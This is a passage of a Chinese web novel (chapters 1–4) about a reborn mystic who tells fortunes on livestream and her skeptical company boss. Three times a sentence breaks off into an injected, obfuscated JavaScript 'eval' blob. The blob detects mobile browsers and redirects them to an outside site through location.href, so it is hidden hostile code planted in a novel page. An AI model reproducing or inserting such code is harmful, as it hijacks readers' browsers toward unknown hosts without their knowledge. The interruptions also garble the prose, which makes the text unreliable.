《信徒[玄学]》 1. 第1章 简素盘腿坐在出租屋冰冷的地板上，对着手机屏幕上那个不断跳出“晦气”、“骗子”、“举报了”弹幕的直播间，面无表情地打了个小小的哈欠。 窗外是都市夜晚廉价的霓虹，透过没拉严实的窗帘缝隙，在她苍白得几乎透明的脸上投下光怪陆离的碎影。屋里只开了一盏昏暗的床头灯，空气里弥漫着廉价线香燃烧后残留的、略带呛人的味道。 这具身体的原主，是星耀娱乐——圈内人称“黑奴娱乐”——旗下签了十年卖身契的十八线开外小艺人。唱歌跑调，跳舞顺拐，演戏五官乱飞，唯一能引起水花的就是在各种低成本网剧里演活不过三集、死状凄惨的小炮灰，或者像现在这样，被公司要求直播凑时长，完成那堪比天文数字的KPI。 而内核，早已换成了因擅自改动他人命格、遭了天谴，被一脚踹下来历劫的玄学世家后人简素。 历劫就历劫吧，投成个穷困潦倒、债务缠身、合约坑爹的小透明，大概也是天道“公平”的一种体现。 手机屏幕上方，一条来自备注为“周扒皮（经纪人）”的微信消息弹了出来：【简素！直播间人数再掉下去，这个月底薪也别想要了！给我搞点节目效果！不会唱歌跳舞，还不会学猫叫吗？！】 简素瞥了一眼，指尖都懒得动。 学猫叫？她要是真叫一声，这栋楼里游离的那些“好朋友”们怕是要闻声而来，集体开派对。到时候就不是节目效果，是灵异现场了。 她收回目光，看向屏幕上寥寥无几的观众和那些不友好的弹幕，声音平铺直叙，没什么起伏，像在念经：“‘主播能不能笑一下，丧着脸像家里出事了’——嗯，确实出了点事，不过不是我家，是对面楼3单元502的住户，建议你最近检查一下家用电器，尤其是厨房方向，火煞有点重，轻则破财，重则……嗯，你们懂的。” 弹幕静了一瞬，随即爆发得更猛烈。 【？？？咒谁呢？】 【主播疯了？为了热度开始胡言乱语了？】 【502招你惹你了？】 【举报了举报了，宣扬迷信！】 【晦气！真晦气！路过的蚂蚁都说晦气！】 简素没理会，视线移到另一个不断刷“主播好漂亮，给算算桃花”的ID上。 她仔细看了看那个ID的头像，是一张精致的自拍，背景虚化，女孩笑容甜美。 “ID‘小甜甜要脱单’，”简素开口，声音依旧没什么情绪，“你喜欢的那个学长，上个月18号晚上9点左右，是不是答应陪你去看电影但又临时爽约了？” 弹幕： 【？？？这也能算？】 【扯吧，肯定是蒙的！】 【小甜甜快说是不是！】 几秒后，“小甜甜要脱单”才难以置信地发弹幕：【……你怎么知道？！他说他学生会有急事！】 “他学生会没急事，”简素语气平淡地戳破，“他当时在三里屯的MUSE酒吧，卡座号我不方便说，和他篮球队的队友在一起，还有两个外语学院的女生。你在他朋友圈看到的背景是图书馆的照片，是第二天下午补拍的。” 【！！！】 【卧槽？有瓜？】 【真的假的？小甜甜你学长是海王？】 【主播这编故事能力可以啊！】 “小甜甜要脱单”再也没发过言，估计是私下求证或者崩溃去了。 直播间的人数诡异地停滞了一下，然后缓慢地开始往上爬升。人类的好奇心和吃瓜欲永远是第一生产力。 就在这时，一个连头像都没有的默认ID用户进入直播间，沉默地挂了一会儿，发出一条弹幕：【装神弄鬼，哗众取宠。】 简素的目光在那条弹幕上停留了半秒，没说话。这种人太多了，不值得浪费口舌。 倒是另一个ID“平安是福”的弹幕引起了她的注意：“大师，能帮我看看吗？我女儿最近总是半夜哭醒，说窗边有个黑影子看着她，去医院看了也没用，我……” “平安是福”的字里行间透着一种绝望的焦虑。 简素稍微坐直了些：“方便连麦吗？或者发一张你女儿卧室窗户的照片，避开孩子正脸。” 连麦接通，一个中年妇女疲惫又紧张的声音传来，背景音里还有小孩隐隐的抽泣声。她按照简素说的，发来了照片。 简素点开照片只看了一眼，眉头几不可查地蹙了一下。 “窗外对着的那棵老槐树，树枝形状像不像一只手伸向窗户？”她问。 “对……对啊！之前没觉得，您一说真是！” “树荫过重，阴气积聚，容易招些不好的东西。尤其是最近是不是砍过树或者动过土？” “啊！上个月小区修剪树枝，是砍掉了一些！” “问题不大。”简素语气肯定，带着一种能安抚人心的力量，“去折三根桃树枝，用红绳捆在一起，倒挂在窗户内侧。再去寺庙求个开光的小铜镜，挂在窗框上方。三天内如果孩子不再哭闹，记得来我直播间还愿。” “谢谢！谢谢大师！我这就去试试！”妇女的声音带上了哭腔，连连道谢后下了麦。 这番操作下来，直播间彻底炸了。 【演的吧？托儿？】 【可是那阿姨的声音听起来不像假的啊……】 【桃树枝？铜镜？主播你来真的？】 【更晦气了怎么办……但我好像有点想关注了……】 【+1，这比学猫叫刺激多了！】 直播间人数开始以肉眼可见的速度增加，弹幕也变得五花八门，有质疑的，有看热闹的，有真心想算的。 简素看着屏幕上滚动的留言，心里毫无波澜，甚至有点想笑。想当年在家族里，她简素仙子一卦难求，如今却在这方寸屏幕前，为了一点微薄的电费和底薪“卖艺”。 天道好轮回。 她正想着要不要再挑一两个有缘人看看，手机屏幕顶端突然接连弹出好几条紧急通知—— 【平台警告：检测到您的直播间内容涉及违规，存在宣扬封建迷信、传播虚假信息的风险，请立即整改！】 【平台警告：收到大量用户投诉，您的直播间已被限流！】 【平台警告：多次违规可能导致封禁处理！】 几乎同时，“周扒皮”经纪人的电话像索命一样炸响。 简素：“……” 得，今晚的KPI又完不成了，底薪危矣。 她叹了口气，正准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227476|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对直播间里突然激增的、嗷嗷待哺的“瓜友们”说声下次再见，目光不经意扫过在线观众列表。 那个之前骂她“装神弄鬼”的默认ID还挂着，稳如泰山地待在列表里，沉默得有些突兀。 简素指尖微顿。 奇怪。 ------ 星耀娱乐，总裁办公室。 顾延结束一场越洋视频会议，揉了揉有些发胀的眉心。窗外是繁华的CBD夜景，灯火璀璨，与他办公室冷硬简洁的黑白灰色调形成鲜明对比。 助理敲门进来，送上一份需要紧急签字的文件，顺便汇报了几项工作。 “……另外，顾总，公关部那边注意到，我们旗下有个艺人的直播间今晚收到了大量投诉和平台警告，内容有点……特殊。”助理语气有些迟疑，将平板电脑递过去。 顾延抬眼，眉宇间带着一丝处理完冗杂事务后的疲惫与不耐：“特殊？” 他接过平板，屏幕上正是直播平台后台的警告通知截图，以及几条被标红的投诉理由。 【主播宣扬封建迷信！】 【算命骗钱！制造恐慌！】 【内容晦气，引起极度不适！】 顾延的眉头瞬间皱紧，能夹死苍蝇。 他点开助理调出的直播间录屏片段—— 画面里，一个脸色苍白、眼神却清凌凌的女生，正用那种毫无波澜的语气说着：“……火煞有点重，轻则破财，重则……嗯，你们懂的。” 然后分析学长是海王，最后是指点人家挂桃树枝、小铜镜…… 顾延：“？？？” 他从小到大接受的都是最顶尖的唯物主义教育，相信科学，信奉逻辑和数据。眼前这一切，在他看来，简直是荒谬绝伦，无稽之谈！ 尤其是看到那个艺人的名字——简素。 他有点印象，好像是公司早年签下的一批练习生里最不起眼的一个，资料上写着“性格木讷，资质平平”，怎么会跑去直播这些鬼东西？ 星耀娱乐虽然被业内戏称为“黑奴公司”，但那指的是合约条款严格、抽成比例高，追求的是压榨出艺人最大的商业价值，而不是这种……旁门左道、自毁长城式的热度！ 这已经不是在红线边缘试探，这是在红线上蹦迪，还顺手把公司的脸面按在地上摩擦。 “通知她的经纪人，立刻、马上给我停止这种直播！写检查，等公司处理意见！”顾延的声音冷得像冰，带着不容置疑的怒意，“公司不需要这种哗众取宠的艺人！” “是，顾总。”助理大气不敢出，连忙应下。 顾延将平板丢回给助理，厌恶地移开目光，仿佛多看一眼那种内容都会玷污他的眼睛。 他拿起钢笔，准备继续处理文件，却不知为何，脑海里莫名闪过录屏里那个女孩的眼神——平静，淡漠，不像是在编故事，倒像是在陈述某种她习以为常的事实。 还有那个连麦妇女带着哭腔的、真切无比的感谢…… 真是见了鬼了。 顾延用力甩开这丝莫名其妙的念头，肯定是最近太累，出现了幻觉。 他坚定地告诉自己：这个世界是唯物的，一切怪力乱神都是虚妄。 绝对的。 2. 第2章 经纪人周铭的电话像是催命符，在寂静的出租屋里响得格外刺耳。 简素瞥了一眼屏幕上依旧在不断滚动的、混合着质疑与好奇的弹幕，以及那几条鲜红的平台警告，慢吞吞地按下了接听键，甚至还顺手点了免提。 “简素！你他妈是不是疯了？！你想死别拉着我一起！你直播的那是什么鬼东西？！算命？看相？还他妈驱邪？！”周铭的咆哮声瞬间充斥了整个房间，震得手机喇叭都在嗡嗡作响，唾沫星子几乎能透过电波喷到简素脸上。 弹幕瞬间兴奋了： 【哦豁！经纪人来了！】 【现场抓包？刺激了家人们！】 【主播要凉凉？默哀三秒。】 【经纪人哥哥声音好凶啊哈哈哈！但是有点带感怎么回事？】 【哈哈哈哈听这声音感觉经纪人头发都快气秃了！】 简素把手机拿得远了点，等那边的咆哮暂告一段落，才没什么诚意地开口：“周哥，晚上好。火气这么大，肝郁气滞，容易引发甲状腺结节，建议你喝点菊花枸杞茶降降火。” 周铭：“……”他好像被噎了一下，随即是更猛烈的爆发，“我降你个头！你立刻！马上！给我下播！然后滚来公司写检查！顾总都知道了！你等着被雪藏吧！底薪？做梦！等着赔违约金吧你！” “顾总？”简素捕捉到这个关键词。星耀娱乐的老板，那个传说中冷酷无情、一切向钱看、信奉996是福报的唯物主义资本家？他居然会注意到她这个十八线开外的小直播？ “不然呢！你以为谁能让平台发警告发得这么勤快？！你真是作死作出新高度了！”周铭气得声音都在抖，“赶紧给我下播！现在！立刻！” “哦。”简素应了一声，却没动。她看着直播间里因为这场突如其来的直播事故而疯狂上涨的人数和弹幕，慢悠悠地说，“可是周哥，直播间人数破六千了，还在涨。礼物收入……嗯，刚才又有个‘火箭’飞过去了，折现一下好像抵得上我过去三个月总和了。” 周铭的骂声戛然而止。 电话那头传来一阵急促的呼吸声，然后是有些变调的追问：“……多少？你说多少？” 电话那头沉默了几秒。显然，周铭正在“上司的怒火”和“实打实的利益”之间进行激烈的思想斗争。 弹幕也听到了这段对话，顿时笑疯了： 【哈哈哈哈经纪人沉默了！】 【金钱的力量！】 【主播是懂怎么拿捏经纪人的！】 【经纪人：一边是老板，一边是钱钱，我好难！】 【顾总：？？？我的威严在人民币面前一文不值？】 【主播：谢邀，刚下凡，略通人性。】 半晌，周铭的声音再次响起，明显底气不足了许多，但还是强撑着：“那……那也不行！内容违规！顾总发话了！赶紧下播！钱……钱以后再说！” “好吧。”简素见好就收，也知道今天这直播是没法继续了。天道虽予一线生机，但显然不包括正面硬刚资本家老板。 她重新看向镜头，对着那群嗷嗷待哺、看热闹不嫌事大的瓜友们，挥了挥手，语气依旧平淡：“今天的科学心理疏导和环境美学分析就到这里，感谢各位的参与和……赞助。下次再见。” 弹幕：【？？？】 【科学什么？美学什么？】 【主播重新定义了玄学！】 【哈哈哈哈我信了你的邪！】 【大师别走！再给我看看手相！】 【大师，没有你我可怎么活啊大师！】 不顾弹幕的哀嚎和挽留，简素干脆利落地结束了直播。 世界瞬间清净了。 电话那头的周铭似乎也松了口气，但马上又恶声恶气地警告：“别以为这就完了！明天一早必须来公司！给我好好解释清楚什么叫‘科学心理疏导’！写不出五千字检查看我怎么收拾你！”说完，啪地挂了电话。 简素把手机丢到一边，伸了个懒腰。骨头发出轻微的咔哒声。 五千字检查？比画一张高阶驱邪符还难。 她走到窗边，看着楼下昏黄的路灯，感受着体内微乎其微、几乎难以察觉的灵力波动。改变他人命格遭的天谴果然厉害，不仅把她丢到这鬼地方，还几乎封尽了她的能力。刚才指点那个母亲，看似简单，也耗费了她不少心神。 不过直播似乎是个收集愿力和功德的好途径？虽然那些质疑和谩骂也会带来些许业力缠绕，但比起得到的关注和那一点点微弱的、来自真诚感谢的愿力，似乎……可以接受？ 天道之下，万物皆有一线生机。这直播，或许就是她的一线生机？ 只是那个“顾总”……有点麻烦。 ------ 星耀娱乐，总裁办公室。 顾延处理完手头最后一份文件，端起已经冷掉的咖啡喝了一口，眉头微蹙。 他试图将那个直播闹剧抛诸脑后，一个无足轻重的小艺人为了博出位做的荒唐事，不值得他浪费过多精力。公司的法务和公关会处理好后续。 但，“火煞”、“桃花”、“槐树”、“阴气”……这些词汇却像是有了自主意识，在他严谨有序的大脑里蹦跶。 荒谬。 他放下咖啡杯，手指无意识地在光滑的红木桌面上敲了敲。最终还是某种难以言喻的、类似于“必须用科学粉碎一切谬论”的执着占了上风。 他内线叫来了技术部的负责人。 “调一下今晚简素直播间的完整后台数据，包括用户进入退出时间、弹幕发送频率峰值、礼物打赏记录，尤其是那个连麦用户的IP和信息，重点分析是否存在数据异常或机器人刷量的可能。”顾延吩咐道，语气公事公办，“还有，投诉用户的ID和投诉内容分类统计给我。” “好的，顾总。”技术部负责人虽然心里纳闷老板怎么会突然关心起一个底层艺人的直播数据，还是立刻应下。 数据很快被整理好发送过来。 顾延打开文件，目光锐利地扫过那些图表和数字。 观看时长分布图显示，虽然进入直播间的人数波动很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227477|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大，但平均观看时长却意外的不低，尤其是在她“胡言乱语”的时候，时长还有所上升。这不符合水军刷量通常停留时间短的特征。 弹幕情感分析曲线更是诡异。负面词汇（如晦气、骗子、举报）的确占据相当比例，但在她指出“502火煞”和“学长海王”事件后，正面词汇（如牛逼、真的吗、好奇）和中性疑问词汇（如？？？、怎么了）出现了两个明显的峰值。 礼物打赏记录也显示，大部分小额打赏都集中在她指导完“平安是福”之后，打赏用户ID看起来都是正常用户，并非批量注册的僵尸号。 技术部负责人的备注写道：“经初步筛查，未检测到大规模机器人活动迹象。连麦用户‘平安是福’IP地址显示为城西老小区，注册信息为中年女性，过往观看记录多为家庭生活类内容，符合其描述特征。” 顾延的眉头越皱越紧。 这数据……和他预想的完全不一样。 没有明显刷量痕迹，观众互动真实，甚至还真有那么点“效果”？ 这怎么可能？ 难道真像她下播前胡诌的，是什么“科学心理疏导”和“环境美学分析”？ 那个“502火煞”，可能是她观察到了对面楼某户人家厨房电器老化、线路杂乱的现象，用危言耸听的方式提醒火灾隐患？“学长海王”则是通过分析那女孩提供的有限信息（比如学长突然爽约、朋友圈漏洞），结合社会经验进行的推理？至于“槐树”和“哭闹”……老树枝桠形状怪异，在夜里投影确实可能吓到小孩子，砍树动土改变了熟悉环境，加重孩子的不安，桃树枝和铜镜起到了心理安慰的作用？ 顾延靠向椅背，下意识地松了松领带。 他感觉自己似乎……正在试图用一套极其复杂且牵强的科学理论，去圆一个极其荒诞的玄学故事。 这感觉糟糕透了。 比他连续开48小时跨国会议还要疲惫。 他闭上眼，揉了揉太阳穴。再睁开时，目光落在了技术部提供的另一条备注上：“值得注意的是，有一个默认ID用户（平台新注册用户，无头像）在直播间停留时间长达47分钟，几乎覆盖全程，期间未发送任何弹幕，仅在初期发送过一条‘装神弄鬼，哗众取宠’。” 顾延的目光在那个“47分钟”上停顿了片刻。 一个认定是“装神弄鬼”的人，会默默看到最后？ 他想起自己似乎也是皱着眉头看完了那段录屏。 ……这见鬼的好奇心。 顾延烦躁地关掉了数据页面。 一定是最近工作太忙，导致判断力出现了偏差。 他决定不再在这件毫无逻辑的事情上浪费时间。明天让周铭好好管教那个艺人，规范直播内容，别再搞这些歪门邪道。 至于那些无法用数据完全解释的巧合…… 顾延拿起钢笔，用力地在便签纸上写下两个词：“心理学”、“概率学”。 他相信，只是他暂时还没找到正确的科学解释方式而已。 一定是这样。 3. 第3章 第二天早上九点差十分，简素踩着点，慢悠悠地晃进了星耀娱乐所在写字楼的大堂。 前台看到她，明显愣了一下，眼神里掠过一丝惊讶和不易察觉的……好奇？显然，昨晚那场惊动高层的直播闹剧，已经在公司内部小范围传开了。 简素对此视若无睹，径直走向电梯间。 周铭的办公室在十七楼。简素到的时候，门虚掩着，里面传来周铭压低了声音、却依旧难掩焦躁的打电话声：“……李导您放心，那件事我们简素绝对没问题！她就是最近压力大，有点……嗯，有点寻找自我！对！状态马上就能调整好！” 简素抬手敲了敲门。 “进！”周铭的声音瞬间拔高，带着一股虚张声势的严厉。 简素推门进去。周铭正好挂断电话，抬头看见她，一张脸拉得老长，眼下带着浓重的黑眼圈，显然昨晚没睡好。 “你还知道来？！”周铭没好气地指了指对面的椅子，“坐！” 简素从善如流地坐下，姿态放松得像是在自家客厅。 “检查呢？”周铭伸出手，一副公事公办的样子。 简素从那个洗得发白的帆布包里摸出几张折叠的A4纸，递了过去。上面密密麻麻写满了字，但字迹……只能说很有个性，潦草中带着一种不拘一格的洒脱。或者说，敷衍。 周铭皱着眉接过来，展开，嘴里还嘟囔着：“五千字，少一个字都不行……我告诉你，这次顾总可是动了真火的……” 他的声音在目光接触到第一行字时，戛然而止。 标题是：《关于昨日直播内容中涉及科学心理疏导与环境能量场分析的深刻检查与未来规划》。 周铭：“？？？” 他猛地抬头看向简素，眼神像是在看一个外星生物。 简素一脸平静，甚至还带着点“请指教”的诚恳。 周铭深吸一口气，告诉自己冷静，然后低头继续往下看。 “……鉴于当前社会大众普遍存在焦虑、迷茫等情绪，传统的说教式心理安慰收效甚微。本人尝试引入环境能量场分析作为切入点，通过解析个体所处物理环境可能带来的潜在心理影响，如‘502火煞’实为提醒厨房安全隐患，‘槐树阴影’实指夜间光线投影对儿童心理的暗示效应。” “结合精准的行为心理学侧写，如通过社交媒体细节分析人际关系的潜在风险，进行一场创新的、互动式的科学心理疏导实践……” “‘桃木枝’与‘小铜镜’在此语境下，作为具有文化象征意义的安抚道具，其作用类似于安慰剂效应，通过赋予当事人积极的心理暗示，激活其自我调节能力，从而达到缓解焦虑、改善现状的目的……” “深刻认识到，此类创新实践应在平台规定范围内进行，未来将更加注重表述方式的‘科学化’与‘规范化’，避免使用可能引发误解的传统词汇，积极探索以‘正能量传播’、‘心理健康科普’、‘环境安全提醒’为核心的新直播模式……” 周铭看得眼皮直跳，太阳穴突突地疼。 这都什么跟什么？！明明就是算命看相驱邪，怎么到她嘴里就变成了“科学心理疏导”、“环境能量场分析”、“行为心理学侧写”、“安慰剂效应”了？！ 还特么说得一套一套的，乍一看居然挺像那么回事！ 他强忍着把检查报告摔到她脸上的冲动，硬着头皮往下翻。整整五页纸，通篇都是这种高大上的词汇包装，核心思想就一个：我没错，我是在搞科学创新，下次我还敢，但我换个说法。 这检查写了跟没写有什么区别？！甚至还不如不写！这拿给顾总看，不是火上浇油吗？！ 周铭感觉自己快要心梗了。他啪地一下把检查拍在桌上，指着简素，手指都在抖：“你……你这写的是什么玩意儿？！你当顾总是傻子吗？！你当我是傻子吗？！” 简素眨了眨眼，显得很无辜：“周哥，我深刻反思了。我觉得我的问题主要在于表述方式不够科学，不够主流，容易引发误解。我已经找到了改进方向。这难道不是您和顾总希望看到的吗？” 周铭：“……” 他竟一时无法反驳。难道说公司和顾总不希望看到积极创新和正能量科普？可这特么根本就不是一回事啊！ 就在周铭气得七窍生烟，不知该如何处理眼前这个烫手山芋时，他桌上的内线电话响了。 他像是抓到救命稻草一样猛地抓起来：“喂？……是！是！顾总？……啊？现在？……好的！好的！我们马上过去！” 挂断电话，周铭的脸色白了又青，青了又红，最后定格在一种视死如归的惨淡上。他看向简素，眼神复杂：“顾总……要见我们。” 他拿起那份堪称“学术论文”的检查报告，手有点抖：“你……自求多福吧。” 总裁办公室在顶层。 电梯一路向上，周铭紧张得不停地整理领带，嘴里念念有词，大概是在预演说辞。简素则安静地站在一旁，打量着电梯内部光可鉴人的金属壁，上面模糊地映出她的身影——苍白，瘦削，眼神却清亮得有些过分。 “叮”一声，顶层到了。 走廊铺着厚厚的地毯，吸走了所有脚步声，安静得近乎压抑。秘书看到他们，礼貌地起身引路，敲响了那扇厚重的实木门。 “进。”里面传来一个低沉而冷淡的男声。 周铭深吸一口气，推开门。 顾延的办公室比简素想象的还要……性冷淡风。巨大的落地窗外是辽阔的城市天际线，室内只有黑白灰三种色调，家具线条冷硬，一切物品都摆放得一丝不苟，仿佛用尺子量过。空气里弥漫着一种淡淡的、雪松味的香氛，混合着纸张和咖啡的气息。 顾延就坐在那张宽大的办公桌后，身后是一整面墙的书架，塞满了各种经济、管理、法律的精装书，以及一些……《大众心理学导论》、《概率论的哲学基础》、《环境行为学》？等等？ 简素的视线在那几本书上微妙地停顿了零点一秒。 顾延没有起身，甚至没有抬头，目光正落在桌面摊开的一份文件上，手指间夹着一支价格不菲的钢笔，无意识地轻轻点着桌面。 周铭几乎是屏着呼吸，小心翼翼地开口：“顾总，您找我？我把简素带来了。” 顾延这才抬起眼。 他的目光先是扫过战战兢兢的周铭，然后落在了简素身上。 那是一种极具穿透力的审视目光，冷静，锐利，不带任何个人情绪，像是在评估一件物品的价值或是分析一组异常数据。 简素平静地回视过去，不卑不亢。 她终于看清了这位“黑奴”老板的长相。很英俊，是那种带有攻击性和距离感的英俊。鼻梁高挺，唇线薄而分明，下颌线条收紧，显得格外冷硬。金丝边眼镜后的眼神深邃，此刻正微微眯起，带着明显的探究和……一丝难以捕捉的困惑？ “顾总，”周铭赶紧把手里那份皱巴巴的检查报告双手奉上，声音干涩，“这是简素写的……深刻检查。她已经深刻认识到了自己的错误，保证以后绝对规范直播内容，传播正能量！” 顾延的目光从简素脸上移开，接过那几张纸，垂眸看了起来。 办公室里一时间只剩下纸张翻动的轻微沙沙声。 周铭紧张得手心冒汗，几乎能听到自己擂鼓般的心跳。 简素却还有闲心打量了一下顾延办公室的风水。坐北朝南，格局方正，采光极佳，本是旺财聚气的格局。但他身后那面书墙，摆放得过于整齐密集，无形中形成了一种壁刀煞，容易导致决策压力过大、思维陷入僵局。西北角摆放的绿植有些枯黄，乾宫位受损，不利于男性领导权威…… 她正漫无边际地想着，顾延已经看完了那份“检查”。 他放下纸张，身体向后靠在椅背上，双手交叠放在身前，目光重新看向简素，声音听不出喜怒：“科学心理疏导？环境能量场分析？” 周铭的心提到了嗓子眼。 简素点了点头，语气坦然：“是的，顾总。我认为玄学……呃，一些传统的经验学说，其底层逻辑可以用现代科学理论进行部分解释和重构。我的直播尝试，可以看作是一种跨学科的科普实践。” 周铭眼前一黑，差点晕过去。祖宗！你还在说！ 顾延的眉梢几不可查地动了一下。他沉默了几秒，忽然开口，问了一个似乎毫不相干的问题：“你昨天说，对面楼3单元502，火煞重，建议检查厨房电器？” 简素没想到他会问这个，略一迟疑，还是答道：“是的。厨房方位离位，其形炽热，若电器老旧、线路杂乱，易引灾厄。轻则破财，重则……”她顿了顿，换了个说法，“安全隐患很大。” 顾延的目光转向电脑屏幕，手指在键盘上敲了几下，调出了一份物业报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227478|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告？ 他看着屏幕，声音平淡无波：“今天凌晨四点左右，3单元502确实发生一起小范围火灾，起因是厨房老旧微波炉短路。幸好发现及时，未造成人员伤亡，财产损失约为……”他看了一眼数据，“……八千元。” “噗通”一声，周铭腿一软，差点没站稳，赶紧扶住了旁边的椅子背，脸色煞白。真……真着火了？！ 简素也微微挑了下眉。这么快？看来那家的火煞比她感知到的还要重一些。 顾延的目光从电脑屏幕移开，再次聚焦在简素脸上，镜片后的眼神变得越发深邃难辨：“巧合？” 简素迎着他的目光，坦然道：“统计学上，小概率事件确实存在。但结合环境观察和行为模式分析，可以进行一定程度的预判和风险提示。” 顾延没说话，手指又开始无意识地敲击桌面。 办公室里陷入一种诡异的寂静。 周铭大气不敢出，看看顾延，又看看简素，感觉自己像个误入科学怪人实验室的傻瓜。 过了好一会儿，顾延才再次开口，声音里听不出什么情绪：“你的直播数据，我看了。” 周铭的心又提了起来。 “互动模式真实，未检测到机器人刷量。”顾延陈述道，语气依旧平淡，像是在做项目汇报，“那个连麦用户，背景信息也基本吻合。” 周铭愣住了，下意识地看向简素。这……这是表扬？ 简素脸上没什么意外表情，只是静静听着。 “但是，”顾延话锋一转，目光锐利起来，“内容形式游走在平台规则边缘，风险极高。星耀娱乐不需要这种不可控的热度。” 周铭的心又沉了下去。果然还是要处理。 “从今天起，你的直播内容必须严格审核。”顾延下了决定，目光扫向周铭，“周铭，你亲自盯。所有直播脚本提前报备。不许再出现任何涉及算命、看相、风水、驱邪等敏感内容。”他说出这几个词时，语气似乎微妙地顿了一下。 “是！是！顾总您放心！我一定严格把关！”周铭如蒙大赦，赶紧点头哈腰地保证。 顾延的视线最后落回简素身上，带着一种不容置疑的压迫感：“公司可以给你尝试新内容的机会，但前提是合规、可控、低风险。你所谓的科学解释，最好能经得起推敲。否则……” 他没有说完，但未尽之意很明显。 简素点了点头，表示明白。能继续播，还能用科学外壳包装，已经比她预想的结果好很多了。这位顾总，似乎比想象中……稍微讲点道理？或者说，他更相信他亲眼看到的数据和事实？ “出去吧。”顾延挥了挥手，重新低下头看向文件，仿佛刚才那场足以决定简素“生死”的谈话，只是一个小插曲。 周铭赶紧拉着简素，几乎是逃也似的离开了总裁办公室。 直到电梯门关上，开始下行，周铭才长长地舒了一口气，感觉自己像是刚从水里捞出来一样，后背都湿了。他心有余悸地看向旁边依旧一脸淡定的简素，张了张嘴，想说什么，最终却只化为一句复杂的感叹：“你……你真是走了狗屎运了！” 简素没说话，只是看着电梯不断变化的数字。 狗屎运吗？ 或许吧。 但更可能是因为，那位坚信唯物主义的顾总，似乎正试图用他强大的逻辑和科学体系，艰难地消化和“收编”她带来的异常数据。 而他刚才下意识摩挲钢笔、以及视线扫过那几本心理学和环境行为学书籍的小动作，并没有逃过她的眼睛。 他的世界观，好像……裂开了一条小小的缝呢。 简素的嘴角，几不可查地微微弯了一下。 电梯抵达十七楼，门开了。 周铭还在絮絮叨叨地强调着直播纪律，简素一边心不在焉地听着，一边迈步走出去。 就在她脚步踏出电梯的瞬间，口袋里的手机突然轻微震动了一下。 她下意识地拿出来看了一眼。 是一条来自直播平台的系统消息，显示她的直播间解除了限流状态。 同时，消息列表里，一个默认头像、ID为一串随机数字的用户，关注了她。 简素的目光在那个新粉丝的头像上停留了一瞬，然后若无其事地按熄了屏幕。 走廊的灯光有些晃眼。 她似乎，看到了一点点有趣的未来。 4. 第4章 回到十七楼经纪人办公室，周铭像是刚从水里捞出来，瘫在椅子上半天没缓过神。他看简素的眼神复杂得像调色盘，混杂着后怕、难以置信，以及一丝劫后余生的庆幸。 “你……”他张了张嘴，最终憋出一句，“以后直播，一个字都不许瞎说！脚本！重点！所有话都得写在脚本上，给我先过目，再……再呈报顾总！”提到“顾总”两个字，他还不自觉地哆嗦了一下。 简素没什么异议地点头。有框架才好发挥，总比彻底封杀强。 “还有！”周铭想起什么，猛地坐直，“平台解禁了，你今晚就给我复播！内容……内容就按顾总说的，搞点什么生活小贴士！正能量！积极向上！听见没？” “听见了。”简素应下。生活小贴士？她擅长。比如《论床头朝哪个方位更利于睡眠质量——从地球磁场与人体生物电角度分析》，或者《厨房布局与家庭和谐关系的潜在关联——基于环境心理学》？ 嗯，很科学，很正能量。 当晚八点，简素准时开启了直播。 直播间标题从之前的“夜观天象，解惑答疑”换成了极其朴素的“聊聊生活中的那些小细节”。 蹲守的粉丝和看热闹的乐子人瞬间涌入。 【来了来了！大师我来了！】 【听说直播间解封了？牛啊！】 【标题啥意思？大师改行聊家常了？】 【肯定是迫于资本家的淫威，狗头/jpg.】 【今天还算命吗？我室友临死前想算一卦！】 简素看着飞速滚动的弹幕，调整了一下面前那盏昏暗的床头灯——美其名曰营造“舒缓氛围”。 “晚上好。”她开口，声音依旧是没什么起伏的调子，“今天不解答具体问题，分享一些基于环境行为学和传统智慧的生活观察。” 弹幕： 【？？？】 【环境什么学？】 【传统智慧？大师你还是你！】 【开始了开始了，科学的玄学它又来了！】 简素无视掉那些插科打诨，开始慢条斯理地讲：“比如，很多人觉得回家后莫名疲惫，可能是进门玄关处杂物堆积，气流不畅，影响能量……呃，影响心情转换。建议保持清爽，常换鞋。” 【？？？说得好有道理，我无法反驳？】 【大师：我明明在说风水，但我说的是收纳！】 【学到了，这就去把我家门口的快递盒扔了！】 她又举例：“再比如，卧室窗户正对路口或尖锐建筑，容易潜意识紧张，影响睡眠。可以用厚窗帘，或者摆盆绿植稍微遮挡一下视线。” 【！！！我说我怎么老是睡不好！我家窗外就是个路灯！】 【大师，你这是环境心理学对吧？一定是！】 【绿植：没想到我还有这功效？】 